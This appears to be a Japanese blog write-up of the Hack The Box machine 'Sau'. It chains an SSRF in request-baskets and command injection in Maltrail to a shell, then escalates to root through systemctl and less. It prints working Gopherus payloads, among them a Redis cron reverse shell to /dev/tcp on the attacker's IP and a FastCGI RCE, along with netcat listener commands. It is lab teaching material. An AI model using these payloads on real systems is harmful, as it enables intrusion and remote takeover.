初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Sau」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。
┌──(root㉿kali)-[~]
└─# rustscan -a 10.129.15.61 --top --ulimit 1500
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 1500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.15.61:22
Open 10.129.15.61:55555
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-11 05:39 EDT
Initiating Ping Scan at 05:39
Scanning 10.129.15.61 [4 ports]
Completed Ping Scan at 05:39, 0.35s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:39
Completed Parallel DNS resolution of 1 host. at 05:39, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:39
Scanning 10.129.15.61 [2 ports]
Discovered open port 22/tcp on 10.129.15.61
Discovered open port 55555/tcp on 10.129.15.61
Completed SYN Stealth Scan at 05:39, 0.30s elapsed (2 total ports)
Nmap scan report for 10.129.15.61
Host is up, received echo-reply ttl 63 (0.28s latency).
Scanned at 2023-07-11 05:39:14 EDT for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
55555/tcp open unknown syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
ポート22、55555が公開されてそう。
実際に55555にアクセスしてみると、以下のようなサイトが表示される。
さて、調査開始だ。
Initial Access
CVE-2023-27163
このサイトのResponseをささっと調べると以下のバージョン表示を見つける。
request-basketsのVersion 1.2.1
とのことなのでこれを探ってみる。
そうすると以下のGistを見つける。
参考のURLを確認してみると実際のPoCが記載されているサイトを発見する。
SSRFの脆弱性のようだ。自身が作成する{name}のバスケットのAPI/api/baskets/{name}
に以下のPOSTデータを投げるとSSRFの脆弱性がセットされ、このバスケットのURL(10.129.15.61:55555/{name})にアクセスした際に発火するみたいだ。
{
"forward_url": "http://127.0.0.1:[PORT]/",
"proxy_response": false,
"insecure_tls": false,
"expand_path": true,
"capacity": 250
}
というわけでSSRFは内部へのリクエストになるので、そこからコマンドが発火するようなサービスが内部で立ち上がっているか列挙することが大事になるのですが、面倒なので2つほどコマンドを試してみることにした。
以下のGopherusのToolを利用する。
RCE - fastcgi
cgiが内部で動いていればRCEが発火するので、試してみる。
ping -c 3
で確認
┌──(root㉿kali)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit fastcgi
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:
Terminal command to run: ping -c 3 10.10.14.196
Your gopher link is ready to do SSRF:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH74%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00J%04%00%3C%3Fphp%20system%28%27ping%20-c%203%2010.10.14.196%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
-----------Made-by-SpyD3r-----------
RCE用のPayloadを作成してもらった。これを叩き込む。
セット完了。続いて発火するか確認する。
うん、tcpdumpしてみたけど何も応答がない。んじゃ次。
Reverseshell - redis
続いてredisが内部で動いている場合のreverseshellだ。
これも先ほどと同様にgopherusを利用する。
┌──(root㉿kali)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit redis
________ .__
/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \
\______ /\____/| __/|___| /\___ >__| |____//____ >
\/ |__| \/ \/ \/
author: $_SpyD3r_$
Ready To get SHELL
What do you want?? (ReverseShell/PHPShell): reverseshell
Give your IP Address to connect with victim through Revershell (default is 127.0.0.1): 10.10.14.196
What can be his Crontab Directory location
## For debugging(locally) you can use /var/lib/redis :
Your gopher link is ready to get Reverse Shell:
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2467%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/10.10.14.196/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
Before sending request plz do `nc -lvp 1234`
-----------Made-by-SpyD3r-----------
このPayloadを埋め込む。
発火しなかったのでこれもダメみたいだ。
大人しく列挙します。
Forward URL
先ほどのSSRFはforward_url
に宛先を書き込んでいたので、GUIの表示から宛先の編集を実施した。
とりあえずポート80番を指定する。
さて、以下のようにResponseが帰ってきた。
mailtrail??v0.53と記載されているのでこの脆弱性を調べる。
OS cmd Injection
以下のサイトを見つけた。
mailtrailのログイン機能がポート8338にあってそこにusername
のPOSTパラメータへOSコマンドインジェクションが通せるといった内容だ。
じゃぁ通してみますか。Portを8338に設定。
アクセスしてみる。
Login failedの表示がでるので基本的にログイン機構がここに存在しそうである。
続いてPOSTデータを送信するのだが、ここら辺はrequest-basketsさんで以下の設定にしてみるとデータを渡すことが出来た。
ping -c 3
で試してみる。
ピンが来たのでcmd injection出来そうなのが分かった。
んじゃRevshellを叩き込みます。
Reverseshell
御用達の以下サイトを参考にReverseShellのコマンドを作成
リバースシェル確立のために受け側を用意しておく。
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
やっぱpty
打ってくれるPythonから試さないとね!
シェルをゲットしました。
interactive shell
とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。
Ctrl
+Z
で接続をバックグラウンドにし、以下のコマンドを実行する。
puma@sau:/opt/maltrail$ ^Z
zsh: suspended nc -lvnp 4444
┌──(root㉿kali)-[~]
└─# stty raw -echo; fg
[1] + continued nc -lvnp 4444
export TERM=xterm-256col
puma@sau:/opt/maltrail$ export SHELL=bash
puma@sau:/opt/maltrail$
puma@sau:/opt/maltrail$
これでUser権限ゲットです!!!
Privilege Escalation
sudo -l
とりあえずsudo -l
で特権で使えそうなファイルやコマンドを探してみる。
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$
ほう。んじゃこのtrail.service
の中身を見てみるか。
puma@sau:/etc/systemd/system$ cat trail.service
[Unit]
Description=Maltrail. Server of malicious traffic detection system
Documentation=https://github.com/stamparm/maltrail#readme
Documentation=https://github.com/stamparm/maltrail/wiki
Requires=network.target
Before=maltrail-sensor.service
After=network-online.target
[Service]
User=puma
Group=puma
WorkingDirectory=/opt/maltrail
ExecStart=/usr/bin/python3 server.py
Restart=on-failure
KillMode=mixed
[Install]
WantedBy=multi-user.target
/opt/maltrail
の階層も、server.py
も編集できそうにないので、GTFOBinsのようにExecStartでExploitするのはよろしくなさそう。であれば別ルートがあるかどうかGoogleさんに聞いてる。。。
CVE-2023-26604
いいものを見つけた。
以下の記事を参考にしてほしい。
Display設定によってlessのコマンドに権限が渡されることになるようなので、途中でシェルなどを呼び出せるようだ。実際に試してみた。
はい、Root権限ゲットだぜ!
まとめ
これで特権昇格に成功し、Root権限奪取に成功しました。
今回のBoxはバージョンとCVEを追っていくだけだったのである程度簡単だったのではないかと思います。
これぞEasy!!
今回もセキュリティエンジニアの皆さんの助けになればなと思います。